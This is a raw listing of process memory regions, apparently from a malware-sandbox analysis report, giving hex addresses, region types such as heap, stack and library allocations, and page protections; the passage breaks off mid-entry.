77E000
|
stack
|
page read and write
|
||
469000
|
trusted library allocation
|
page read and write
|
||
123000
|
trusted library allocation
|
page execute and read and write
|
||
5E2E000
|
stack
|
page read and write
|
||
2C4C000
|
heap
|
page read and write
|
||
7C0000
|
heap
|
page read and write
|
||
51D8000
|
heap
|
page read and write
|
||
41BF000
|
stack
|
page read and write
|
||
3322000
|
trusted library allocation
|
page read and write
|
||
2F4000
|
heap
|
page read and write
|
||
354000
|
heap
|
page read and write
|
||
2C53000
|
heap
|
page read and write
|
||
2E2B000
|
heap
|
page read and write
|
||
43D0000
|
heap
|
page read and write
|
||
5D5E000
|
stack
|
page read and write | page guard
|
||
BB000
|
stack
|
page read and write
|
||
4DB000
|
heap
|
page read and write
|
||
2BAB000
|
heap
|
page read and write
|
||
52C000
|
heap
|
page read and write
|
||
1EB0000
|
heap
|
page read and write
|
||
210000
|
trusted library allocation
|
page read and write
|
||
2B1000
|
heap
|
page read and write
|
||
4F76000
|
heap
|
page read and write
|
||
4BE000
|
heap
|
page read and write
|
||
C50000
|
trusted library allocation
|
page read and write
|
||
2C40000
|
heap
|
page read and write
|
||
C6000
|
heap
|
page read and write
|
||
5EAE000
|
stack
|
page read and write
|
||
2D57000
|
heap
|
page read and write
|
||
860000
|
trusted library allocation
|
page read and write
|
||
2B25000
|
heap
|
page read and write
|
||
4B9000
|
heap
|
page read and write
|
||
2BB8000
|
heap
|
page read and write
|
||
3C4C000
|
stack
|
page read and write
|
||
6FA000
|
heap
|
page read and write
|
||
372000
|
heap
|
page read and write
|
||
29CB000
|
trusted library allocation
|
page read and write
|
||
288F000
|
stack
|
page read and write
|
||
390000
|
trusted library allocation
|
page read and write
|
||
27F000
|
trusted library allocation
|
page read and write
|
||
5FF0000
|
heap
|
page read and write
|
||
80E000
|
stack
|
page read and write
|
||
3220000
|
heap
|
page read and write
|
||
404000
|
heap
|
page read and write
|
||
5C0000
|
heap
|
page read and write
|
||
2740000
|
trusted library allocation
|
page read and write
|
||
2B46000
|
heap
|
page read and write
|
||
4DF000
|
heap
|
page read and write
|
||
4E8E000
|
stack
|
page read and write
|
||
32D0000
|
trusted library allocation
|
page read and write
|
||
269E000
|
stack
|
page read and write
|
||
2B5E000
|
heap
|
page read and write
|
||
CA0000
|
heap
|
page execute and read and write
|
||
4D78000
|
heap
|
page read and write
|
||
59E000
|
stack
|
page read and write
|
||
43B0000
|
trusted library allocation
|
page read and write
|
||
2A7B000
|
trusted library allocation
|
page read and write
|
||
425C000
|
stack
|
page read and write
|
||
C50000
|
heap
|
page read and write
|
||
155000
|
trusted library allocation
|
page execute and read and write
|
||
24CE000
|
stack
|
page read and write
|
||
65C000
|
stack
|
page read and write
|
||
280000
|
trusted library allocation
|
page read and write
|
||
2FAE000
|
stack
|
page read and write
|
||
1C7000
|
heap
|
page read and write
|
||
BE0000
|
heap
|
page execute and read and write
|
||
641C000
|
stack
|
page read and write
|
||
14A000
|
trusted library allocation
|
page execute and read and write
|
||
2D53000
|
heap
|
page read and write
|
||
37D000
|
stack
|
page read and write
|
||
646000
|
heap
|
page read and write
|
||
6FF000
|
heap
|
page read and write
|
||
3921000
|
heap
|
page read and write
|
||
19B000
|
trusted library allocation
|
page read and write
|
||
2D59000
|
heap
|
page read and write
|
||
16E000
|
heap
|
page read and write
|
||
400000
|
system
|
page execute and read and write
|
||
510000
|
heap
|
page read and write
|
||
5BAE000
|
stack
|
page read and write
|
||
590000
|
heap
|
page read and write
|
||
2C58000
|
heap
|
page read and write
|
||
106E000
|
stack
|
page read and write | page guard
|
||
2089000
|
heap
|
page read and write
|
||
2E2B000
|
heap
|
page read and write
|
||
4410000
|
trusted library allocation
|
page read and write
|
||
B30000
|
trusted library allocation
|
page execute and read and write
|
||
4BBF000
|
stack
|
page read and write
|
||
74C000
|
heap
|
page read and write
|
||
4AEE000
|
stack
|
page read and write
|
||
2EFE000
|
stack
|
page read and write
|
||
7D0000
|
heap
|
page read and write
|
||
63A0000
|
direct allocation
|
page execute and read and write
|
||
A00000
|
trusted library allocation
|
page read and write
|
||
43B0000
|
trusted library allocation
|
page read and write
|
||
4D7000
|
heap
|
page read and write
|
||
2BB5000
|
heap
|
page read and write
|
||
4EFD000
|
stack
|
page read and write
|
||
11D1000
|
trusted library allocation
|
page read and write
|
||
2BCE000
|
heap
|
page read and write
|
||
4CCE000
|
stack
|
page read and write
|
||
320000
|
heap
|
page read and write
|
||
5E90000
|
heap
|
page read and write
|
||
F30000
|
trusted library allocation
|
page read and write
|
||
5C82000
|
heap
|
page read and write
|
||
369D000
|
stack
|
page read and write
|
||
480000
|
trusted library allocation
|
page execute and read and write
|
||
5F4F000
|
stack
|
page read and write
|
||
120000
|
trusted library allocation
|
page read and write
|
||
130000
|
trusted library allocation
|
page read and write
|
||
180000
|
trusted library allocation
|
page read and write
|
||
2D40000
|
heap
|
page read and write
|
||
2A0000
|
heap
|
page read and write
|
||
FE0000
|
trusted library allocation
|
page read and write
|
||
4431000
|
heap
|
page read and write
|
||
2E74000
|
trusted library allocation
|
page read and write
|
||
50D000
|
heap
|
page read and write
|
||
37BE000
|
stack
|
page read and write
|
||
1084000
|
heap
|
page execute and read and write
|
||
F20000
|
trusted library allocation
|
page read and write
|
||
4BE000
|
heap
|
page read and write
|
||
2B49000
|
heap
|
page read and write
|
||
36BD000
|
heap
|
page read and write
|
||
1E4E000
|
stack
|
page read and write
|
||
2B8F000
|
stack
|
page read and write
|
||
4F99000
|
heap
|
page read and write
|
||
A50000
|
trusted library allocation
|
page read and write
|
||
319F000
|
stack
|
page read and write
|
||
190000
|
trusted library allocation
|
page read and write
|
||
655000
|
heap
|
page read and write
|
||
2D30000
|
heap
|
page read and write
|
||
A29000
|
heap
|
page read and write
|
||
400000
|
trusted library allocation
|
page read and write
|
||
91D1000
|
trusted library allocation
|
page read and write
|
||
535000
|
heap
|
page read and write
|
||
810000
|
heap
|
page read and write
|
||
6FD000
|
stack
|
page read and write
|
||
3AC000
|
stack
|
page read and write
|
||
355F000
|
stack
|
page read and write
|
||
467000
|
trusted library allocation
|
page read and write
|
||
73D000
|
heap
|
page read and write
|
||
97E000
|
stack
|
page read and write
|
||
490000
|
trusted library allocation
|
page read and write
|
||
4E90000
|
heap
|
page read and write
|
||
6150000
|
trusted library section
|
page read and write
|
||
2B0D000
|
heap
|
page read and write
|
||
2D4F000
|
heap
|
page read and write
|
||
36A0000
|
heap
|
page read and write
|
||
4BBE000
|
stack
|
page read and write | page guard
|
||
1060000
|
heap
|
page execute and read and write
|
||
459000
|
system
|
page execute and read and write
|
||
5C60000
|
heap
|
page read and write
|
||
21D000
|
stack
|
page read and write
|
||
5FBE000
|
stack
|
page read and write
|
||
2BF0000
|
heap
|
page read and write
|
||
2D4F000
|
heap
|
page read and write
|
||
491B000
|
stack
|
page read and write
|
||
48D000
|
heap
|
page read and write
|
||
A90000
|
heap
|
page execute and read and write
|
||
2DCD000
|
heap
|
page read and write
|
||
50EE000
|
stack
|
page read and write
|
||
244E000
|
stack
|
page read and write
|
||
4D6D000
|
heap
|
page read and write
|
||
9290000
|
trusted library allocation
|
page read and write
|
||
670000
|
heap
|
page read and write
|
||
47F000
|
heap
|
page read and write
|
||
E0000
|
trusted library allocation
|
page read and write
|
||
4DBD000
|
stack
|
page read and write
|
||
124E000
|
stack
|
page read and write
|
||
41C0000
|
trusted library allocation
|
page read and write
|
||
5084000
|
heap
|
page read and write
|
||
9FE000
|
stack
|
page read and write
|
||
15C000
|
stack
|
page read and write
|
||
A10000
|
trusted library allocation
|
page read and write
|
||
CE0000
|
trusted library allocation
|
page read and write
|
||
43B0000
|
trusted library allocation
|
page read and write
|
||
73D000
|
heap
|
page read and write
|
||
160000
|
trusted library section
|
page read and write
|
||
2C3D000
|
heap
|
page read and write
|
||
4FEB000
|
stack
|
page read and write
|
||
B8E000
|
stack
|
page read and write
|
||
502E000
|
stack
|
page read and write
|
||
890000
|
trusted library allocation
|
page read and write
|
||
4CE000
|
stack
|
page read and write
|
||
2C4B000
|
heap
|
page read and write
|
||
338E000
|
stack
|
page read and write
|
||
1ED2000
|
heap
|
page read and write
|
||
30A1000
|
heap
|
page read and write
|
||
49E0000
|
trusted library allocation
|
page read and write
|
||
5140000
|
heap
|
page read and write
|
||
305000
|
heap
|
page read and write
|
||
C5E000
|
stack
|
page read and write | page guard
|
||
1EEE000
|
stack
|
page read and write
|
||
2DBA000
|
heap
|
page read and write
|
||
450D000
|
stack
|
page read and write
|
||
5EB0000
|
heap
|
page read and write
|
||
F30000
|
heap
|
page read and write
|
||
417000
|
trusted library allocation
|
page read and write
|
||
160000
|
heap
|
page read and write
|
||
220000
|
heap
|
page read and write
|
||
4590000
|
trusted library allocation
|
page read and write
|
||
C0000
|
heap
|
page read and write
|
||
A70000
|
trusted library allocation
|
page read and write
|
||
45C000
|
system
|
page execute and read and write
|
||
4340000
|
trusted library allocation
|
page read and write
|
||
3B0C000
|
stack
|
page read and write
|
||
3EF0000
|
trusted library allocation
|
page read and write
|
||
AA0000
|
direct allocation
|
page read and write
|
||
4D2E000
|
stack
|
page read and write
|
||
9270000
|
trusted library allocation
|
page read and write
|
||
533000
|
heap
|
page read and write
|
||
39CE000
|
stack
|
page read and write
|
||
739000
|
heap
|
page read and write
|
||
1FD000
|
heap
|
page read and write
|
||
4FB2000
|
heap
|
page read and write
|
||
5D5F000
|
stack
|
page read and write
|
||
2351000
|
heap
|
page read and write
|
||
4380000
|
trusted library allocation
|
page read and write
|
||
2C5F000
|
heap
|
page read and write
|
||
43B0000
|
trusted library allocation
|
page read and write
|
||
A30000
|
trusted library allocation
|
page read and write
|
||
2A2000
|
heap
|
page read and write
|
||
B9E000
|
stack
|
page read and write
|
||
2B25000
|
heap
|
page read and write
|
||
480000
|
trusted library allocation
|
page read and write
|
||
5177000
|
heap
|
page read and write
|
||
6050000
|
heap
|
page read and write
|
||
8EE000
|
stack
|
page read and write
|
||
247C000
|
trusted library allocation
|
page read and write
|
||
2F4000
|
heap
|
page read and write
|
||
11D0000
|
trusted library allocation
|
page read and write
|
||
26000
|
heap
|
page read and write
|
||
4F12000
|
heap
|
page read and write
|
||
34AE000
|
stack
|
page read and write
|
||
4390000
|
heap
|
page execute and read and write
|
||
2060000
|
heap
|
page read and write
|
||
6FE000
|
heap
|
page read and write
|
||
4552000
|
trusted library allocation
|
page read and write
|
||
254E000
|
stack
|
page read and write
|
||
6730000
|
heap
|
page read and write
|
||
2A1000
|
heap
|
page read and write
|
||
10016000
|
direct allocation
|
page execute and read and write
|
||
2D0000
|
heap
|
page read and write
|
||
517000
|
heap
|
page read and write
|
||
110D000
|
stack
|
page read and write
|
||
5CE8000
|
stack
|
page read and write
|
||
31C1000
|
trusted library allocation
|
page read and write
|
||
9E0000
|
trusted library allocation
|
page read and write
|
||
BAE000
|
stack
|
page read and write
|
||
2D61000
|
heap
|
page read and write
|
||
4BF0000
|
heap
|
page read and write
|
||
2BC3000
|
heap
|
page read and write
|
||
11E0000
|
trusted library allocation
|
page read and write
|
||
10001000
|
direct allocation
|
page execute and read and write
|
||
3279000
|
heap
|
page read and write
|
||
219F000
|
stack
|
page read and write
|
||
5C5000
|
heap
|
page read and write
|
||
6F0000
|
heap
|
page read and write
|
||
2BA9000
|
heap
|
page read and write
|
||
2D66000
|
heap
|
page read and write
|
||
784000
|
heap
|
page read and write
|
||
1EB4000
|
heap
|
page read and write
|
||
30BE000
|
trusted library allocation
|
page read and write
|
||
4B8E000
|
stack
|
page read and write
|
||
2B49000
|
heap
|
page read and write
|
||
10000
|
heap
|
page read and write
|
||
4F0000
|
heap
|
page read and write
|
||
2EC6000
|
trusted library allocation
|
page read and write
|
||
45D000
|
system
|
page execute and read and write
|
||
C9D000
|
stack
|
page read and write
|
||
2B57000
|
heap
|
page read and write
|
||
C0000
|
trusted library section
|
page read and write
|
||
2A89000
|
trusted library allocation
|
page read and write
|
||
D0000
|
trusted library allocation
|
page read and write
|
||
4D3000
|
heap
|
page read and write
|
||
2C5F000
|
heap
|
page read and write
|
||
309E000
|
stack
|
page read and write
|
||
51D5000
|
heap
|
page read and write
|
||
2D4F000
|
heap
|
page read and write
|
||
1C0000
|
trusted library allocation
|
page read and write
|
||
D40000
|
heap
|
page read and write
|
||
377C000
|
trusted library allocation
|
page read and write
|
||
23BF000
|
stack
|
page read and write
|
||
3729000
|
trusted library allocation
|
page read and write
|
||
50B2000
|
heap
|
page read and write
|
||
258000
|
trusted library allocation
|
page read and write
|
||
337000
|
heap
|
page read and write
|
||
BD2000
|
trusted library allocation
|
page read and write
|
||
4B5F000
|
stack
|
page read and write
|
||
C9E000
|
stack
|
page read and write
|
||
4240000
|
trusted library allocation
|
page read and write
|
||
8C5000
|
heap
|
page read and write
|
||
478000
|
remote allocation
|
page execute and read and write
|
||
20000
|
heap
|
page read and write
|
||
2E2B000
|
heap
|
page read and write
|
||
50D000
|
heap
|
page read and write
|
||
200000
|
heap
|
page read and write
|
||
43B0000
|
trusted library allocation
|
page read and write
|
||
30AC000
|
heap
|
page read and write
|
||
2D69000
|
heap
|
page read and write
|
||
2AA000
|
heap
|
page read and write
|
||
7EF20000
|
trusted library allocation
|
page execute and read and write
|
||
376F000
|
stack
|
page read and write
|
||
2B78000
|
heap
|
page read and write
|
||
5D1E000
|
stack
|
page read and write
|
||
43B0000
|
trusted library allocation
|
page read and write
|
||
3DE000
|
stack
|
page read and write
|
||
4D44000
|
heap
|
page read and write
|
||
4CE000
|
heap
|
page read and write
|
||
516000
|
heap
|
page read and write
|
||
43B0000
|
trusted library allocation
|
page read and write
|
||
475000
|
heap
|
page read and write
|
||
2A9000
|
heap
|
page read and write
|
||
10C000
|
stack
|
page read and write
|
||
BD7000
|
trusted library allocation
|
page read and write
|
||
5F0000
|
heap
|
page read and write
|
||
4D40000
|
heap
|
page read and write
|
||
515000
|
heap
|
page read and write
|
||
2D57000
|
heap
|
page read and write
|
||
41CE000
|
stack
|
page read and write
|
||
21D000
|
heap
|
page read and write
|
||
5CD000
|
heap
|
page read and write
|
||
3C0D000
|
stack
|
page read and write
|
||
C00000
|
trusted library allocation
|
page read and write
|
||
F2E000
|
stack
|
page read and write
|
||
138000
|
heap
|
page read and write
|
||
24A8000
|
heap
|
page read and write
|
||
2DC1000
|
heap
|
page read and write
|
||
885000
|
heap
|
page read and write
|
||
737000
|
heap
|
page read and write
|
||
524000
|
heap
|
page read and write
|
||
2C5B000
|
heap
|
page read and write
|
||
597000
|
heap
|
page read and write
|
||
41D0000
|
trusted library allocation
|
page read and write
|
||
2A19000
|
trusted library allocation
|
page read and write
|
||
3CF0000
|
heap
|
page read and write
|
||
533000
|
heap
|
page read and write
|
||
2C30000
|
heap
|
page read and write
|
||
3D2F000
|
stack
|
page read and write
|
||
6010000
|
heap
|
page read and write
|
||
AD0000
|
trusted library allocation
|
page read and write
|
||
400000
|
system
|
page execute and read and write
|
||
10000
|
heap
|
page read and write
|
||
597000
|
heap
|
page read and write
|
||
4A5E000
|
stack
|
page read and write
|
||
4FE000
|
heap
|
page read and write
|
||
4FE000
|
heap
|
page read and write
|
||
457000
|
heap
|
page read and write
|
||
389000
|
heap
|
page read and write
|
||
270000
|
trusted library allocation
|
page read and write
|
||
C60000
|
heap
|
page read and write
|
||
2E7000
|
heap
|
page read and write
|
||
2D77000
|
heap
|
page read and write
|
||
475000
|
heap
|
page read and write
|
||
5DDE000
|
stack
|
page read and write
|
||
4A0000
|
trusted library allocation
|
page read and write
|
||
A20000
|
heap
|
page read and write
|
||
5B57000
|
stack
|
page read and write
|
||
2D6A000
|
heap
|
page read and write
|
||
2D57000
|
heap
|
page read and write
|
||
3850000
|
heap
|
page read and write
|
||
440D000
|
stack
|
page read and write
|
||
2AA6000
|
trusted library allocation
|
page read and write
|
||
47C000
|
heap
|
page read and write
|
||
4BB1000
|
heap
|
page read and write
|
||
2D41000
|
heap
|
page read and write
|
||
4B10000
|
heap
|
page read and write
|
||
6495000
|
direct allocation
|
page execute and read and write
|
||
372000
|
heap
|
page read and write
|
||
4DB000
|
heap
|
page read and write
|
||
398F000
|
stack
|
page read and write
|
||
2AE000
|
heap
|
page read and write
|
||
34F000
|
stack
|
page read and write
|
||
202F000
|
stack
|
page read and write
|
||
10B0000
|
heap
|
page read and write
|
||
4A7F000
|
stack
|
page read and write
|
||
2E7000
|
trusted library allocation
|
page read and write
|
||
218000
|
trusted library allocation
|
page read and write
|
||
3C50000
|
heap
|
page read and write
|
||
49D000
|
heap
|
page read and write
|
||
2A60000
|
heap
|
page read and write
|
||
630000
|
heap
|
page read and write
|
||
3E0000
|
heap
|
page read and write
|
||
4ADE000
|
stack
|
page read and write
|
||
21FA000
|
trusted library allocation
|
page read and write
|
||
10000000
|
direct allocation
|
page read and write
|
||
2C3E000
|
stack
|
page read and write
|
||
AE0000
|
trusted library allocation
|
page read and write
|
||
B0000
|
trusted library section
|
page read and write
|
||
717000
|
heap
|
page read and write
|
||
2BCA000
|
heap
|
page read and write
|
||
4D7000
|
heap
|
page read and write
|
||
130000
|
heap
|
page read and write
|
||
7C2000
|
heap
|
page read and write
|
||
3ACE000
|
stack
|
page read and write
|
||
13B000
|
stack
|
page read and write
|
||
10000
|
heap
|
page read and write
|
||
2B56000
|
heap
|
page read and write
|
||
2B2A000
|
heap
|
page read and write
|
||
9268000
|
trusted library allocation
|
page read and write
|
||
92C1000
|
trusted library allocation
|
page read and write
|
||
31E0000
|
heap
|
page read and write
|
||
454E000
|
stack
|
page read and write
|
||
5B0000
|
heap
|
page read and write
|
||
A4C000
|
trusted library allocation
|
page read and write
|
||
2A0000
|
heap
|
page read and write
|
||
BCB000
|
stack
|
page read and write
|
||
5090000
|
heap
|
page read and write
|
||
353000
|
stack
|
page read and write
|
||
4B8000
|
heap
|
page read and write
|
||
2B4E000
|
heap
|
page read and write
|
||
1AA000
|
trusted library allocation
|
page read and write
|
||
BB0000
|
heap
|
page read and write
|
||
56E000
|
stack
|
page read and write
|
||
350000
|
heap
|
page read and write
|
||
51D000
|
stack
|
page read and write
|
||
2B90000
|
heap
|
page read and write
|
||
236E000
|
stack
|
page read and write
|
||
61FE000
|
stack
|
page read and write
|
||
3310000
|
trusted library allocation
|
page read and write
|
||
525000
|
heap
|
page read and write
|
||
4FBF000
|
heap
|
page read and write
|
||
248C000
|
stack
|
page read and write
|
||
380000
|
heap
|
page read and write
|
||
5BBE000
|
stack
|
page read and write
|
||
2B22000
|
heap
|
page read and write
|
||
2AF0000
|
heap
|
page read and write
|
||
BC0000
|
heap
|
page read and write
|
||
4D7000
|
heap
|
page read and write
|
||
2C3B000
|
heap
|
page read and write
|
||
2701000
|
trusted library allocation
|
page read and write
|
||
2C43000
|
heap
|
page read and write
|
||
37ED000
|
stack
|
page read and write
|
||
13A000
|
trusted library allocation
|
page read and write
|
||
2D4F000
|
heap
|
page read and write
|
||
35C0000
|
heap
|
page read and write
|
||
21E000
|
stack
|
page read and write
|
||
2D8D000
|
heap
|
page read and write
|
||
12C000
|
stack
|
page read and write
|
||
2C38000
|
heap
|
page read and write
|
||
2E9000
|
trusted library allocation
|
page read and write
|
||
1000000
|
trusted library allocation
|
page read and write
|
||
4BE000
|
heap
|
page read and write
|
||
A1E000
|
stack
|
page read and write
|
||
3F2000
|
trusted library allocation
|
page read and write
|
||
8295000
|
direct allocation
|
page execute and read and write
|
||
2D44000
|
heap
|
page read and write
|
||
2D3F000
|
stack
|
page read and write
|
||
735000
|
heap
|
page read and write
|
||
2A2F000
|
stack
|
page read and write
|
||
2D57000
|
heap
|
page read and write
|
||
4AD000
|
heap
|
page read and write
|
||
419000
|
trusted library allocation
|
page read and write
|
||
4F53000
|
heap
|
page read and write
|
||
1C0000
|
heap
|
page read and write
|
||
788000
|
heap
|
page read and write
|
||
26AF000
|
stack
|
page read and write
|
||
87E000
|
stack
|
page read and write
|
||
E4000
|
trusted library allocation
|
page read and write
|
||
23AD000
|
stack
|
page read and write
|
||
4CCE000
|
stack
|
page read and write
|
||
519000
|
heap
|
page read and write
|
||
3FF000
|
stack
|
page read and write
|
||
273F000
|
stack
|
page read and write
|
||
41D000
|
heap
|
page read and write
|
||
6320000
|
heap
|
page read and write
|
||
2900000
|
trusted library allocation
|
page read and write
|
||
473000
|
system
|
page execute and read and write
|
||
206000
|
heap
|
page read and write
|
||
440000
|
heap
|
page read and write
|
||
2B31000
|
heap
|
page read and write
|
||
510000
|
heap
|
page read and write
|
||
7CF000
|
heap
|
page read and write
|
||
485000
|
heap
|
page read and write
|
||
4B2000
|
heap
|
page read and write
|
||
570000
|
heap
|
page read and write
|
||
E3000
|
trusted library allocation
|
page execute and read and write
|
||
1EC0000
|
direct allocation
|
page read and write
|
||
D48000
|
heap
|
page read and write
|
||
22C000
|
stack
|
page read and write
|
||
7BD000
|
heap
|
page read and write
|
||
4B2E000
|
stack
|
page read and write
|
||
5080000
|
heap
|
page read and write
|
||
2D7C000
|
heap
|
page read and write
|
||
37D000
|
heap
|
page read and write
|
||
2740000
|
trusted library allocation
|
page read and write
|
||
330000
|
heap
|
page read and write
|
||
4E9B000
|
heap
|
page read and write
|
||
29BA000
|
trusted library allocation
|
page read and write
|
||
2A32000
|
trusted library allocation
|
page read and write
|
||
489000
|
trusted library allocation
|
page read and write
|
||
213F000
|
stack
|
page read and write
|
||
4BE000
|
heap
|
page read and write
|
||
152000
|
trusted library allocation
|
page read and write
|
||
2B36000
|
heap
|
page read and write
|
||
524000
|
heap
|
page read and write
|
||
2B52000
|
heap
|
page read and write
|
||
2E0000
|
trusted library allocation
|
page read and write
|
||
1020000
|
trusted library allocation
|
page read and write
|
||
4AE000
|
heap
|
page read and write
|
||
2D69000
|
heap
|
page read and write
|
||
1A0000
|
trusted library allocation
|
page read and write
|
||
6DE000
|
stack
|
page read and write
|
||
124000
|
trusted library allocation
|
page read and write
|
||
4580000
|
trusted library allocation
|
page execute and read and write
|
||
515000
|
heap
|
page read and write
|
||
4420000
|
trusted library allocation
|
page read and write
|
||
8B0000
|
heap
|
page read and write
|
||
3275000
|
heap
|
page read and write
|
||
4F6E000
|
heap
|
page read and write
|
||
2E38000
|
heap
|
page read and write
|
||
470000
|
heap
|
page read and write
|
||
BD0000
|
trusted library allocation
|
page read and write
|
||
2B21000
|
heap
|
page read and write
|
||
20000
|
heap
|
page read and write
|
||
1D00000
|
heap
|
page read and write
|
||
33A000
|
stack
|
page read and write
|
||
4B4000
|
heap
|
page read and write
|
||
926C000
|
trusted library allocation
|
page read and write
|
||
240000
|
heap
|
page read and write
|
||
2DBF000
|
stack
|
page read and write
|
||
8BF000
|
heap
|
page read and write
|
||
5DAE000
|
stack
|
page read and write
|
||
4D7000
|
heap
|
page read and write
|
||
4FCB000
|
stack
|
page read and write
|
||
880000
|
trusted library allocation
|
page read and write
|
||
37F0000
|
heap
|
page read and write
|
||
2BC5000
|
heap
|
page read and write
|
||
4ECD000
|
heap
|
page read and write
|
||
1BC000
|
stack
|
page read and write
|
||
43B0000
|
trusted library allocation
|
page read and write
|
||
437F000
|
stack
|
page read and write
|
||
3D0000
|
heap
|
page read and write
|
||
3E0000
|
heap
|
page read and write
|
||
656000
|
heap
|
page read and write
|
||
1FCE000
|
stack
|
page read and write
|
||
2A70000
|
trusted library allocation
|
page read and write
|
||
4230000
|
trusted library allocation
|
page read and write
|
||
40F000
|
heap
|
page read and write
|
||
28FE000
|
stack
|
page read and write
|
||
C5F000
|
stack
|
page read and write
|
||
18A000
|
stack
|
page read and write
|
||
89000
|
stack
|
page read and write
|
||
2B7B000
|
heap
|
page read and write
|
||
2E27000
|
heap
|
page read and write
|
||
1EB0000
|
heap
|
page read and write
|
||
32D0000
|
trusted library allocation
|
page read and write
|
||
2C4B000
|
heap
|
page read and write
|
||
2B0E000
|
heap
|
page read and write
|
||
7B5000
|
heap
|
page read and write
|
||
2D5C000
|
heap
|
page read and write
|
||
2BB8000
|
heap
|
page read and write
|
||
4550000
|
trusted library allocation
|
page read and write
|
||
2C4A000
|
heap
|
page read and write
|
||
510000
|
heap
|
page read and write
|
||
990000
|
trusted library allocation
|
page read and write
|
||
D00000
|
trusted library allocation
|
page read and write
|
||
520000
|
heap
|
page read and write
|
||
520000
|
heap
|
page read and write
|
||
450000
|
heap
|
page read and write
|
||
48D0000
|
trusted library allocation
|
page read and write
|
||
43B0000
|
trusted library allocation
|
page read and write
|
||
51EE000
|
heap
|
page read and write
|
||
470000
|
trusted library allocation
|
page read and write
|
||
507D000
|
stack
|
page read and write
|
||
6F7000
|
heap
|
page read and write
|
||
4DB000
|
heap
|
page read and write
|
||
A40000
|
heap
|
page read and write
|
||
2C7000
|
heap
|
page read and write
|
||
2E27000
|
heap
|
page read and write
|
||
4F3E000
|
stack
|
page read and write
|
||
52C000
|
heap
|
page read and write
|
||
503D000
|
stack
|
page read and write
|
||
51B5000
|
heap
|
page read and write
|
||
8A2000
|
heap
|
page read and write
|
||
2A74000
|
trusted library allocation
|
page read and write
|
||
3420000
|
heap
|
page read and write
|
||
3279000
|
heap
|
page read and write
|
||
810000
|
trusted library allocation
|
page execute and read and write
|
||
A50000
|
trusted library allocation
|
page read and write
|
||
2B25000
|
heap
|
page read and write
|
||
250E000
|
stack
|
page read and write
|
||
4340000
|
trusted library allocation
|
page read and write
|
||
2B1A000
|
heap
|
page read and write
|
||
2B0000
|
remote allocation
|
page read and write
|
||
2701000
|
trusted library allocation
|
page read and write
|
||
542000
|
heap
|
page read and write
|
||
34D000
|
heap
|
page read and write
|
||
4BE000
|
heap
|
page read and write
|
||
2D7E000
|
stack
|
page read and write
|
||
4AAE000
|
stack
|
page read and write
|
||
2B0000
|
remote allocation
|
page read and write
|
||
460000
|
trusted library allocation
|
page execute and read and write
|
||
4B2000
|
heap
|
page read and write
|
||
A9E000
|
stack
|
page read and write | page guard
|
||
230000
|
heap
|
page execute and read and write
|
||
2DC1000
|
heap
|
page read and write
|
||
2C3E000
|
heap
|
page read and write
|
||
2C4B000
|
heap
|
page read and write
|
||
43B0000
|
trusted library allocation
|
page read and write
|
||
37DE000
|
stack
|
page read and write
|
||
4300000
|
heap
|
page read and write
|
||
7FF000
|
heap
|
page read and write
|
||
193000
|
trusted library allocation
|
page execute and read and write
|
||
264000
|
heap
|
page read and write
|
||
ED000
|
trusted library allocation
|
page execute and read and write
|
||
2705000
|
trusted library allocation
|
page read and write
|
||
5CC0000
|
heap
|
page read and write
|
||
2B0E000
|
stack
|
page read and write
|
||
1C2000
|
trusted library allocation
|
page read and write
|
||
3509000
|
trusted library allocation
|
page read and write
|
||
2C7000
|
heap
|
page read and write
|
||
54B000
|
heap
|
page read and write
|
||
510000
|
heap
|
page read and write
|
||
2D4F000
|
heap
|
page read and write
|
||
1F0000
|
heap
|
page read and write
|
||
5CD1000
|
heap
|
page read and write
|
||
3020000
|
heap
|
page read and write
|
||
A9F000
|
stack
|
page read and write
|
||
4F40000
|
heap
|
page read and write
|
||
491000
|
heap
|
page read and write
|
||
21C1000
|
trusted library allocation
|
page read and write
|
||
375C000
|
trusted library allocation
|
page read and write
|
||
2BB8000
|
heap
|
page read and write
|
||
9F0000
|
trusted library allocation
|
page read and write
|
||
2B5B000
|
heap
|
page read and write
|
||
1FD0000
|
heap
|
page read and write
|
||
2E25000
|
heap
|
page read and write
|
||
2DC0000
|
heap
|
page read and write
|
||
2E37000
|
heap
|
page read and write
|
||
283B000
|
trusted library allocation
|
page read and write
|
||
10000
|
heap
|
page read and write
|
||
47F000
|
stack
|
page read and write
|
||
29C7000
|
trusted library allocation
|
page read and write
|
||
226000
|
heap
|
page read and write
|
||
170000
|
trusted library section
|
page read and write
|
||
533000
|
heap
|
page read and write
|
||
2E33000
|
heap
|
page read and write
|
||
797000
|
heap
|
page read and write
|
||
2D43000
|
heap
|
page read and write
|
||
29C3000
|
trusted library allocation
|
page read and write
|
||
41B000
|
system
|
page execute and read and write
|
||
410000
|
trusted library allocation
|
page execute and read and write
|
||
36DF000
|
heap
|
page read and write
|
||
4B3000
|
heap
|
page read and write
|
||
2DF9000
|
heap
|
page read and write
|
||
2E000
|
heap
|
page read and write
|
||
B1F000
|
stack
|
page read and write
|
||
2BC1000
|
heap
|
page read and write
|
||
602D000
|
stack
|
page read and write
|
||
298F000
|
stack
|
page read and write
|
||
49ED000
|
trusted library allocation
|
page read and write
|
||
200000
|
trusted library allocation
|
page execute and read and write
|
||
2B93000
|
heap
|
page read and write
|
||
4340000
|
trusted library allocation
|
page read and write
|
||
9DF000
|
stack
|
page read and write
|
||
7CA000
|
heap
|
page read and write
|
||
10000
|
heap
|
page read and write
|
||
2E37000
|
heap
|
page read and write
|
||
194000
|
trusted library allocation
|
page read and write
|
||
26B000
|
stack
|
page read and write
|
||
2A00000
|
trusted library allocation
|
page read and write
|
||
373F000
|
trusted library allocation
|
page read and write
|
||
730000
|
heap
|
page read and write
|
||
7B0000
|
trusted library allocation
|
page read and write
|
||
533000
|
heap
|
page read and write
|
||
5094000
|
heap
|
page read and write
|
||
2A13000
|
trusted library allocation
|
page read and write
|
||
4D0000
|
trusted library allocation
|
page read and write
|
||
2E5E000
|
stack
|
page read and write
|
||
4F84000
|
heap
|
page read and write
|
||
19D000
|
trusted library allocation
|
page execute and read and write
|
||
1F0000
|
trusted library allocation
|
page execute and read and write
|
||
33C000
|
stack
|
page read and write
|
||
22F000
|
heap
|
page read and write
|
||
4D1000
|
heap
|
page read and write
|
||
40D000
|
heap
|
page read and write
|
||
79D000
|
heap
|
page read and write
|
||
533000
|
heap
|
page read and write
|
||
4220000
|
trusted library allocation
|
page read and write
|
||
10000
|
heap
|
page read and write
|
||
4E0000
|
trusted library allocation
|
page read and write
|
||
43B0000
|
trusted library allocation
|
page read and write
|
||
10000
|
heap
|
page read and write
|
||
2FFC000
